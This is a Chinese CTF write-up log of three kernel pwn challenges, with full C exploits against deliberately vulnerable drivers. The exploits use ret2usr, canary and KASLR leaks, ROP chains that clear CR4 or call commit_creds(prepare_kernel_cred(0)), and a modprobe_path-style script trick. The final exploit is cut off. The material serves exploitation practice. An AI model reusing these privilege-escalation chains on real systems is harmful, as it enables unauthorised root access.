Kernel Pwn 刷题记录
添加到启动脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if [ ! -d "./rootfs/" ];then
mkdir ./rootfs/
pushd rootfs
cpio -idmv < ../rootfs.cpio
popd
fi
if [ ! -d "./exp/" ];then
mkdir ./exp/
pushd exp
cp /opt/kernel_exp/* .
popd
fi
pushd exp
make
cp exploit ../rootfs/
popd
pushd rootfs
find ./* | cpio -H newc -o > ../rootfs.cpio
popd
attach
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
python
import os
end
file ./vmlinux
target remote :1234
python
import gdb
#inferior = gdb.inferiors()[0]
## (<gdb.Inferior num=1, pid=1>,)
#field = gdb.parse_and_eval('*(struct module)0').tyep.fields()
#print('--',field,'---')
breakpoint = '''
#b *__x64_sys_flitbip
co
'''
gdb.execute(breakpoint)
end
NFS_KUAF
- 第四届“长城杯”网络安全大赛 暨京津冀网络安全技能竞赛(决赛)
附件
保护及init分析
- 启动保护
1
2
3
4
5
6
7
8
9
10
11
qemu-system-x86_64 \
-m 256M \
-kernel bzImage \
-initrd rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 loglevel=8 earlyprintk=serial,ttyS0,115200 nokaslr pti=off" \
-cpu kvm64,-smep,-smap \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-s \
-no-reboot
-
nokaslr 关闭了kernel地址随机化,在未开启KASLR保护机制时,内核代码段的基址为
0xffffffff81000000
,direct mapping area 的基址为0xffff888000000000
-
smep 和 smap 通常是一起出现的,这里是个减号,所以 保护是关闭的,也就意味着
内核态可以直接跳到用户空间代码段执行
- init 文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh
mkdir /tmp
mkdir /proc
mkdir /sys
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod /lib/modules/5.4.0-100-generic/kernel/test.ko # 应该就是存在漏洞的驱动了
chmod 666 /dev/uaf_device # 漏洞驱动
setsid /bin/cttyhack setuidgid 1000 /bin/sh
poweroff -d 0 -f
提取 vmlinux
- 用于调试 kernel
分析.ko 文件
.ko 文件被去符号表了,可以通过 fops 结构体去恢复
- ida 恢复 fops 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct_name ='''owner llseek read write read_iter write_iter iopoll iterate
iterate_shared poll unlocked_ioctl compat_ioctl mmap mmap_supported_flags
open flush release fsync fasync lock sendpage get_unmapped_area check_flags
flock splice_write splice_read setlease fallocate show_fdinfo copy_file_range
remap_file_range fadvise'''.split(' ')
fops_address = 0x560
ida_name.set_name(fops_address, 'fops')
for offset in range(0, len(struct_name)):
next_ptr = ida_bytes.get_qword(fops_address + offset * 8)
if(next_ptr):
sname = 'device_' + struct_name[offset]
ida_name.set_name(next_ptr, sname)
print(hex(next_ptr),' --> ',sname)
- 恢复前
- 恢复后
- 操作分析
整体思路
传入一个地址,然后执行,也是比较简单
保护比较低,直接跳到用户态的执行shellcode
exploit
- exp.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stddef.h>
#include <stdint.h>
#include "minilib.h"
char flag[0x50] = {0};
size_t kernel_base = 0xffffffff81000000;
size_t commit_creds = 0xffffffff810c5010;
size_t prepare_kernel_cred = 0xffffffff810c5270;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
static void get_root_shell(){
int uid = getuid();
hex(uid);
char *argv[] = {"/bin/sh", "-c", "/bin/sh", NULL};
execve("/bin/sh", argv, 0);
//chmod("/flag",0777);
syscall64(60,0);
}
static size_t shell_addr = &get_root_shell + 4;
static void shellcode(){
asm volatile (
"xor rdi, rdi;"
"mov rcx, prepare_kernel_cred;"
"call rcx;"
"mov rcx, commit_creds;"
"call rcx;"
// swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
);
// restore_flags
asm volatile (
"nop;"
"nop;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push shell_addr;"
"swapgs;"
"iretq;"
);
}size_t sc_addr = &shellcode + 8;
void doMain(){
save_status();
//bind_core(0);
char procn[0x30] = "/dev/uaf_device";
int fd1 = open(procn,2);
char buf[0x10];
write(fd1, &sc_addr,8);
read(fd1, &buf, 8);
}
extern void _start(){
doMain();
syscall64(60,0);
}
- Makefile
1
2
3
4
5
6
CC = gcc
CFLAGS = -nostdlib -fpie -static -ffreestanding -std=c++2a -mno-sse -mno-mmx -mno-avx -masm=intel
exploit: exp.c
$(CC) $(CFLAGS) $< -o $@
- minilib.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#define O_RDONLY 0 /* Open read-only. */
#define O_WRONLY 1 /* Open write-only. */
#define O_RDWR 2 /* Open read/write. */
#define O_CREAT 0x40/* New File. */
// bind_core
#define MAX_CPUS 1024
typedef struct { unsigned long bits[MAX_CPUS / (8 * sizeof(unsigned long))]; } cpu_set_t;
static void CPU_ZERO(cpu_set_t *set) { for (int i = 0; i < MAX_CPUS / (8 * sizeof(unsigned long)); i++) { set->bits[i] = 0; } }
static void CPU_SET(int core, cpu_set_t *set) {
int idx = core / (8 * sizeof(unsigned long));
int offset = core % (8 * sizeof(unsigned long));
set->bits[idx] |= (1UL << offset);
}
int syscall64(){
asm volatile (
"mov rax, rdi;"
"mov rdi, rsi;"
"mov rsi, rdx;"
"mov rdx, rcx;"
"mov r10, r8 ;"
"mov r8 , r9 ;"
"mov r9 , [rsp + 8];"
"syscall;"
);
}
int open(char *file,int prot){
return syscall64(2, file, prot);
}
int read(int fd, char *buf, int length){
return syscall64(0, fd, buf, length);
}
int write(int fd, char *buf, int length){
return syscall64(1, fd, buf, length);
}
int ioctl(int fd, size_t cmd, char *buf){
return syscall64(0x10, fd, cmd, buf);
}
void execve(char *cmd, size_t* args, char *environ){
syscall64(0x3b, cmd, args, environ);
}
int sendfile(size_t dst_fd, size_t src_fd, size_t offset, size_t count){
syscall64(0x28, dst_fd, src_fd, offset, count);
}
int chmod(char *filepath,int mode){
return syscall64(0x5a, filepath, mode, 0);
}
static size_t getuid(){return syscall64(0x66, 0, 0, 0);}
static size_t getpid(){return syscall64(0x27, 0, 0, 0);}
static int sched_setaffinity(size_t pid, size_t cpusetsize, const cpu_set_t *cupset){
return syscall64(0xcb, pid, cpusetsize, cupset);
}
static void bind_core(int core){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
void puts(char * Str){
int length=0;
while(Str[length]!=0){++length;}
write(1,Str,length);
write(1,"\n",1);
}
void hex(size_t IntHex){
char buf[0x20]={0};
size_t idx = 0x18;
while (idx > 1) {
buf[idx] = "0123456789ABCDEF"[IntHex & 0xF];
IntHex >>= 4;
if(IntHex==0){
buf[idx-2]='0';
buf[idx-1]='x';
break;
}
idx--;
}
puts(&buf[idx]-2);
}
void strncpy(char dst[], char src[], size_t n){
size_t i;
for(i = 0; i < n ; i++){
dst[i] = src[i];
}
dst[i] = '\x00';
}
问题及感想
- 返回用户态然后准备执行 execve /bin/sh, 发现
execve("/bin/sh",0,0);
竟然不行.
1
2
3
4
5
6
7
8
// 我不行,因为没参数?
execve("/bin/sh", 0, 0);
// 加了 argv 就正常了操
char *argv[] = {"/bin/sh", "-c", "/bin/sh", NULL};
execve("/bin/sh", argv, 0);
Kylin_Overflow
附件
保护及init
-
kaslr
开启了地址随机化 -
+smep,+smap
隔离了 用户段和kernel 段
1
2
3
4
5
6
7
8
9
10
11
qemu-system-x86_64 \
-m 256M \
-kernel bzImage \
-initrd rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 loglevel=8 ttyS0,115200 kaslr" \
-cpu kvm64,+smep,+smap \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-no-reboot \
-s
- init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh
mkdir /tmp
mkdir /proc
mkdir /sys
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
# 存在漏洞的驱动文件
insmod /lib/modules/5.10.0-9-generic/kernel/test.ko
chmod 666 /dev/test
#setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh
poweroff -d 0 -f
分析 .ko 驱动
- 主要 用 ioctl 交互
- 栈溢出漏洞
- 一个 gadget
整体思路
- 不知大这里给控制cr4寄存器有什么用
先泄露 kernel 地址,然后 利用 stack 溢出
然后我注意到 gadget
处的 mov cr4,rdi;retn
后面搜了搜 cr4 寄存器的作用
- cr4 寄存器结构
- smep是由CR4寄存器来决定是否开启的, 在kernel中由CR4寄存器的第20位设置是否开启
1
2
3
4
5
6
7
8
9
10
11
12
>>> bin(0x3006f0)
'0b1100000000011011110000'
# 第20位也就是0x100000
>>> hex(0x3006f0-0x100000)
'0x2006f0'
# cr4 =
# 0x3006f0 -> 0x6f0
# 即可关闭 smep 保护
- 猜测后高位的 这俩 1 分别是
+smep
和+smap
保护 ,直接把他们都清空应该就算关闭保护了
- 然后….., 先记住吧,但是给了这个 gadget 感觉 应该可以直接改吧
- 然后也是简单的试了一下改 cr4 寄存器, 然后就 crush
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#include <stddef.h>
#include <stdint.h>
#include "minilib.h"
char flag[0x50] = {0};
size_t nokaslr_kernel_base = 0xffffffff81000000;
size_t commit_creds = 0xffffffff810c5010;
size_t prepare_kernel_cred = 0xffffffff810c5270;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
static void get_root_shell(){
int uid = getuid();
hex(uid);
char *argv[] = {"/bin/sh", "-c", "/bin/sh", NULL};
execve("/bin/sh", argv, 0);
//chmod("/flag",0777);
syscall64(60,0);
}
static size_t shell_addr = &get_root_shell + 4;
static void shellcode(){
asm volatile (
"xor rdi, rdi;"
"mov rcx, prepare_kernel_cred;"
"call rcx;"
"mov rcx, commit_creds;"
"call rcx;"
// swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
);
// restore_flags
asm volatile (
"nop;"
"nop;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push shell_addr;"
"swapgs;"
"iretq;"
);
}size_t sc_addr = &shellcode + 8;
encrypt_cu(unsigned char *ptext,size_t length){
for (int i = 0;i<length; ++i){
ptext[i] = ((ptext[i] >> 5) | (8 * ptext[i])) & 0xFF;
ptext[i] = ~ptext[i];
ptext[i] ^= 0xF8;
ptext[i] += 5;
}
}
decrypt_cu(unsigned char *ptext,size_t length){
for (int i = 0;i<length; ++i){
ptext[i] -= 5;
ptext[i] ^= 0xF8;
ptext[i] = ~ptext[i];
ptext[i] = ((0x20 * ptext[i]) | (ptext[i] >> 3)) & 0xFF;
}
}
void doMain(){
save_status();
char procn[0x30] = "/dev/test";
int fd = open(procn,2);
size_t *data = malloc(0);
memset(data, 0, 0x1000);
strcat(data, "NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74\x00");
//strcat(data, "ABCD");
encrypt_cu(data, 0x20);
size_t edit = 0xFEEDFACE;
size_t show = 0xDEADBEEF;
size_t gift = 0xCAFEBABE;
ioctl(fd, show, data);
decrypt_cu(&data[4],0x100);
hexdump(&data[0], 0x100);
////size_t kernel_ko_addr = byte_to_long(&data[0x20],8);
////size_t kernel_base = byte_to_long(&data[0x60],8) - 0x271105;
size_t kernel_ko_addr = data[4] - 0x43;
size_t kernel_base = data[12] - 0x271105;
size_t canary = data[5];
printf("kernel_ko_addr = ");
hex(kernel_ko_addr);
printf("kernel_base = ");
hex(kernel_base);
printf("stack_canary = ");
hex(canary);
prepare_kernel_cred = kernel_base + 0xcfbe0;
commit_creds = kernel_base + 0xcf720;
memset(data, 0, 0x300);
strcat(data, "NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74\x00");
repeat(&data[4],'A',0x100);
int i = 0x24;
size_t pop_rdi = 0xffffffff81090c80 - nokaslr_kernel_base + kernel_base; // pop rdi; ret;
size_t mov_cr4_rdi = kernel_ko_addr + 0x050;
data[i++] = canary;
data[i++] = 0;
data[i++] = pop_rdi;
data[i++] = 0x6f0;
data[i++] = mov_cr4_rdi;
data[i++] = sc_addr; // crush 了
encrypt_cu(data, 0x200);
ioctl(fd, edit, data);
ioctl(fd, gift, data);
}
extern void _start(){
doMain();
syscall64(60,0);
}
- 参考链接
1
https://www.anquanke.com/post/id/244966
- 上面的的方法明显不行,就 正常 ROP 吧
exploit
-
最终成功提权的exp
-
exp.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#include <stddef.h>
#include <stdint.h>
#include "minilib.h"
char flag[0x50] = {0};
size_t nokaslr_kernel_base = 0xffffffff81000000;
size_t commit_creds = 0xffffffff810c5010;
size_t prepare_kernel_cred = 0xffffffff810c5270;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
static void get_root_shell(){
int uid = getuid();
hex(uid);
char *argv[] = {"/bin/sh", "-c", "/bin/sh", NULL};
execve("/bin/sh", argv, 0);
//chmod("/flag",0777);
syscall64(60,0);
}
static size_t shell_addr = &get_root_shell;
static void shellcode(){
asm volatile (
"xor rdi, rdi;"
"mov rcx, prepare_kernel_cred;"
"call rcx;"
"mov rcx, commit_creds;"
"call rcx;"
// swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
);
// restore_flags
asm volatile (
"nop;"
"nop;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push shell_addr;"
"swapgs;"
"iretq;"
);
}size_t sc_addr = &shellcode + 8;
encrypt_cu(unsigned char *ptext,size_t length){
for (int i = 0;i<length; ++i){
ptext[i] = ((ptext[i] >> 5) | (8 * ptext[i])) & 0xFF;
ptext[i] = ~ptext[i];
ptext[i] ^= 0xF8;
ptext[i] += 5;
}
}
decrypt_cu(unsigned char *ptext,size_t length){
for (int i = 0;i<length; ++i){
ptext[i] -= 5;
ptext[i] ^= 0xF8;
ptext[i] = ~ptext[i];
ptext[i] = ((0x20 * ptext[i]) | (ptext[i] >> 3)) & 0xFF;
}
}
void doMain(){
save_status();
char procn[0x30] = "/dev/test";
int fd = open(procn,2);
size_t *data = malloc(0);
memset(data, 0, 0x1000);
strcat(data, "NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74\x00");
//strcat(data, "ABCD");
encrypt_cu(data, 0x20);
size_t edit = 0xFEEDFACE;
size_t show = 0xDEADBEEF;
size_t gift = 0xCAFEBABE;
ioctl(fd, show, data);
decrypt_cu(&data[4],0x100);
hexdump(&data[0], 0x100);
////size_t kernel_ko_addr = byte_to_long(&data[0x20],8);
////size_t kernel_base = byte_to_long(&data[0x60],8) - 0x271105;
size_t kernel_ko_addr = data[4] - 0x43;
size_t kernel_base = data[12] - 0x271105;
size_t canary = data[5];
printf("kernel_ko_addr = ");
hex(kernel_ko_addr);
printf("kernel_base = ");
hex(kernel_base);
printf("stack_canary = ");
hex(canary);
prepare_kernel_cred = kernel_base + 0xcfbe0;
commit_creds = kernel_base + 0xcf720;
memset(data, 0, 0x300);
strcat(data, "NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74\x00");
repeat(&data[4],'A',0x100);
int i = 0x24;
size_t pop_rdi = 0xffffffff81090c80 - nokaslr_kernel_base + kernel_base; // pop rdi; ret;
size_t mov_rdi_rax = kernel_ko_addr + 0x04C;
size_t mov_cr4_rdi = kernel_ko_addr + 0x050;
size_t swapgs = kernel_ko_addr + 0x54;
size_t iretq = kernel_ko_addr + 0x58; //iretq; ret
size_t swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xc00ff0 + 54;
data[i++] = canary;
data[i++] = 0;
//data[i++] = pop_rdi;
//data[i++] = 0x6f0;
//data[i++] = mov_cr4_rdi;
data[i++] = pop_rdi;
data[i++] = 0;
data[i++] = prepare_kernel_cred;
data[i++] = mov_rdi_rax;
data[i++] = commit_creds;
data[i++] = swapgs_restore_regs_and_return_to_usermode;
//data[i++] = swapgs;
//data[i++] = iretq;
data[i++] = 0;
data[i++] = 0;
data[i++] = shell_addr;
data[i++] = user_cs;
data[i++] = user_rflags;
data[i++] = user_sp;
data[i++] = user_ss;
encrypt_cu(data, 0x300);
ioctl(fd, edit, data);
ioctl(fd, gift, data);
}
extern void _start(){
doMain();
syscall64(60,0);
}
问题及感想1
-
vmlinux-to-elf
获取 kernel elf 后,用 checksec 检测保护, PIE 是关闭的
- 但是呢,
qemu-system-x86_64
启动时 时开启 地址随机化的
- 然后后面调试的时候就很怪,没有符号表
- 网上搜了一下,发现可以在
target
前使使用add-symbol-file
重新定位地址
- 然后符号表就有了
- 但还是有点小问题比如…
直接 tel 看 地址还是 noPIE 的地址,然后就很玄学
1
2
3
4
5
6
7
8
9
#add-symbol-file ./vmlinux <新基地址>
cat /proc/kallsyms | grep startup_64
add-symbol-file ./vmlinux
set $base=0x-0xffffffff81000000
问题及感想2 (调试调废了,这个问题未完成,待续)
问题出在这里, 用这种方式返回也会态后,无法执行执行代码,会直接 gg
- rop 是这样的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
data[i++] = canary;
data[i++] = 0;
data[i++] = pop_rdi;
data[i++] = 0;
data[i++] = prepare_kernel_cred;
data[i++] = mov_rdi_rax;
data[i++] = commit_creds;
data[i++] = swapgs; // swapgs; retn
data[i++] = iretq; // iretq; retn
data[i++] = shell_addr;
data[i++] = user_cs;
data[i++] = user_rflags;
data[i++] = user_sp;
data[i++] = user_ss;
- 对照一下 shellcode
1
2
3
4
5
6
7
8
9
asm volatile (
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push shell_addr;"
"swapgs;"
"iretq;"
);
- 然后动态调试一下
- 然后再单步走,就直接gg了, 段错误,
1
2
[ 48.590572][ T134] exploit[134]: segfault at 401635 ip 0000000000401635 sp 00007ffd8490f528 error 15 in exploit[401000+1000]
[ 48.596286][ T134] Code: 00 8c 14 25 28 40 40 00 48 89 24 25 38 40 40 00 9c 8f 04 25 30 40 40 00 48 8d 05 fe 09 00 00 48 89
- 通过上面的段错误 我感觉可能是
+smep,+smap
保护的原因吧 - 下面就调试一下正常情况下,kernel 态 到用户态的过程
1
swapgs_restore_regs_and_return_to_usermode
- swapgs_restore_regs_and_return_to_usermode 汇编代码
pwndbg> x/54i 0xffffffffa2c00000 + 0xc00ff0
0xffffffffa3800ff0 <swapgs_restore_regs_and_return_to_usermode>: jmp 0xffffffffa380100b <swapgs_restore_regs_and_return_to_usermode+27>
0xffffffffa3800ff2 <swapgs_restore_regs_and_return_to_usermode+2>: mov ecx,0x48
0xffffffffa3800ff7 <swapgs_restore_regs_and_return_to_usermode+7>: mov rdx,QWORD PTR gs:0x17bc8
0xffffffffa3801000 <swapgs_restore_regs_and_return_to_usermode+16>: and edx,0xfffffffe
0xffffffffa3801003 <swapgs_restore_regs_and_return_to_usermode+19>: mov eax,edx
0xffffffffa3801005 <swapgs_restore_regs_and_return_to_usermode+21>: shr rdx,0x20
0xffffffffa3801009 <swapgs_restore_regs_and_return_to_usermode+25>: wrmsr
0xffffffffa380100b <swapgs_restore_regs_and_return_to_usermode+27>: nop DWORD PTR [rax+rax*1+0x0]
0xffffffffa3801010 <swapgs_restore_regs_and_return_to_usermode+32>: pop r15 ; 恢复用户态的寄存器?
0xffffffffa3801012 <swapgs_restore_regs_and_return_to_usermode+34>: pop r14
0xffffffffa3801014 <swapgs_restore_regs_and_return_to_usermode+36>: pop r13
0xffffffffa3801016 <swapgs_restore_regs_and_return_to_usermode+38>: pop r12
0xffffffffa3801018 <swapgs_restore_regs_and_return_to_usermode+40>: pop rbp
0xffffffffa3801019 <swapgs_restore_regs_and_return_to_usermode+41>: pop rbx
0xffffffffa380101a <swapgs_restore_regs_and_return_to_usermode+42>: pop r11
0xffffffffa380101c <swapgs_restore_regs_and_return_to_usermode+44>: pop r10
0xffffffffa380101e <swapgs_restore_regs_and_return_to_usermode+46>: pop r9
0xffffffffa3801020 <swapgs_restore_regs_and_return_to_usermode+48>: pop r8
0xffffffffa3801022 <swapgs_restore_regs_and_return_to_usermode+50>: pop rax
0xffffffffa3801023 <swapgs_restore_regs_and_return_to_usermode+51>: pop rcx
0xffffffffa3801024 <swapgs_restore_regs_and_return_to_usermode+52>: pop rdx
0xffffffffa3801025 <swapgs_restore_regs_and_return_to_usermode+53>: pop rsi
0xffffffffa3801026 <swapgs_restore_regs_and_return_to_usermode+54>: mov rdi,rsp ; exp 是跳到这里然后执行的 ; rsp 赋值给 rdi
0xffffffffa3801029 <swapgs_restore_regs_and_return_to_usermode+57>: mov rsp,QWORD PTR gs:0x6004 ; 不知道
0xffffffffa3801032 <swapgs_restore_regs_and_return_to_usermode+66>: push QWORD PTR [rdi+0x30] ; user status
0xffffffffa3801035 <swapgs_restore_regs_and_return_to_usermode+69>: push QWORD PTR [rdi+0x28]
0xffffffffa3801038 <swapgs_restore_regs_and_return_to_usermode+72>: push QWORD PTR [rdi+0x20]
0xffffffffa380103b <swapgs_restore_regs_and_return_to_usermode+75>: push QWORD PTR [rdi+0x18]
0xffffffffa380103e <swapgs_restore_regs_and_return_to_usermode+78>: push QWORD PTR [rdi+0x10]
0xffffffffa3801041 <swapgs_restore_regs_and_return_to_usermode+81>: push QWORD PTR [rdi]
0xffffffffa3801043 <swapgs_restore_regs_and_return_to_usermode+83>: push rax
0xffffffffa3801044 <swapgs_restore_regs_and_return_to_usermode+84>: xchg ax,ax
0xffffffffa3801046 <swapgs_restore_regs_and_return_to_usermode+86>: mov rdi,cr3 ; 这里 取出 cr3
0xffffffffa3801049 <swapgs_restore_regs_and_return_to_usermode+89>: jmp 0xffffffffa380107f <swapgs_restore_regs_and_return_to_usermode+143>
0xffffffffa380104b <swapgs_restore_regs_and_return_to_usermode+91>: mov rax,rdi
0xffffffffa380104e <swapgs_restore_regs_and_return_to_usermode+94>: and rdi,0x7ff
0xffffffffa3801055 <swapgs_restore_regs_and_return_to_usermode+101>: bt QWORD PTR gs:0x2b756,rdi
0xffffffffa380105f <swapgs_restore_regs_and_return_to_usermode+111>: jae 0xffffffffa3801070 <swapgs_restore_regs_and_return_to_usermode+128>
0xffffffffa3801061 <swapgs_restore_regs_and_return_to_usermode+113>: btr QWORD PTR gs:0x2b756,rdi
0xffffffffa380106b <swapgs_restore_regs_and_return_to_usermode+123>: mov rdi,rax
0xffffffffa380106e <swapgs_restore_regs_and_return_to_usermode+126>: jmp 0xffffffffa3801078 <swapgs_restore_regs_and_return_to_usermode+136>
0xffffffffa3801070 <swapgs_restore_regs_and_return_to_usermode+128>: mov rdi,rax
0xffffffffa3801073 <swapgs_restore_regs_and_return_to_usermode+131>: bts rdi,0x3f
0xffffffffa3801078 <swapgs_restore_regs_and_return_to_usermode+136>: or rdi,0x800
0xffffffffa380107f <swapgs_restore_regs_and_return_to_usermode+143>: or rdi,0x1000 ; 然后jmp 到这里了
0xffffffffa3801086 <swapgs_restore_regs_and_return_to_usermode+150>: mov cr3,rdi
0xffffffffa3801089 <swapgs_restore_regs_and_return_to_usermode+153>: pop rax
0xffffffffa380108a <swapgs_restore_regs_and_return_to_usermode+154>: pop rdi
0xffffffffa380108b <swapgs_restore_regs_and_return_to_usermode+155>: swapgs
0xffffffffa380108e <swapgs_restore_regs_and_return_to_usermode+158>: jmp 0xffffffffa38010c0 <native_iret>
0xffffffffa3801093 <swapgs_restore_regs_and_return_to_usermode+163>: nop
- exp
- 大概就是 修改里一个 cr3 寄存器的值,然后返回用户态
1
2
3
4
5
0x3052000 -> 0x3053000
cr3 = cr3 | 0x1000 # = 0x3053000
然后
swapgs
iretq
- 下面我尝试手动修改cr3 的值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
data[i++] = canary;
data[i++] = 0;
data[i++] = pop_rdi;
data[i++] = 0;
data[i++] = prepare_kernel_cred;
data[i++] = mov_rdi_rax;
data[i++] = commit_creds;
data[i++] = swapgs; // swapgs; retn
data[i++] = iretq; // iretq; retn 执行到这里时 gdb 手动修改 cr3寄存器的值为0x3053000,然后再继续返回到用户态,看看能不能正常执行
data[i++] = shell_addr;
data[i++] = user_cs;
data[i++] = user_rflags;
data[i++] = user_sp;
data[i++] = user_ss;
- 执行到 swapgs 后,我们查看 cr3 寄存器的值,发现和上面的不一样,然后多试了几次,才知道 cr3 的值每次都是不一样的,但是
or 0x1000
操作应该是固定的吧,我们就手动计算修改试试看
1
2
>>> hex(0x307e000|0x1000)
'0x307f000'
-
不能直接
set $cr3=0x307f000
,奇怪 -
但是这样就可以了哈哈, 然后就更奇怪了,修改后强行run 就 crush 了,
Kylin_Driver
保护及init
- 开启了 kaslr kerenl 地址随机化
- 然后是
+smep + smap
,
- 默认看不了地址
分析 .ko 驱动
- ioctl 功能点分析
- 给了几个 gadget
- 漏洞点, RAX 指针内容可以被覆盖,
exploit(学了一个新方法)
- 直接 rop
-
- exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#include "minilib.h"
char flag[0x50] = {0};
size_t nokaslr_kernel_base = 0xffffffff81000000;
size_t commit_creds = 0xffffffff810c5010;
size_t prepare_kernel_cred = 0xffffffff810c5270;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
static void get_root_shell(){
int uid = getuid();
hex(uid);
system("/bin/sh");
//chmod("/flag",0777);
syscall64(60,0);
}
static size_t shell_addr = &get_root_shell;
static void shellcode(){
asm volatile (
"xor rdi, rdi;"
"mov rcx, prepare_kernel_cred;"
"call rcx;"
"mov rcx, commit_creds;"
"call rcx;"
// swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
);
// restore_flags
asm volatile (
"nop;"
"nop;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push shell_addr;"
"swapgs;"
"iretq;"
);
}size_t sc_addr = &shellcode + 8;
void modprobe_rce(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/e1");
system("chmod +x /tmp/e1");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/e2");
system("chmod +x /tmp/e2");
system("/tmp/e2"); // sh: /tmp/e2: Permission denied
system("/tmp/e2"); // ./tmp/e2: line 1: : not found
system("cat /flag");
system("cat /flag");
}
void doMain(){
save_status();
char procn[0x30] = "/dev/test";
int fd = open(procn,2);
uint8_t *ptr = malloc(0);
memset(ptr, 0 ,0x1000);
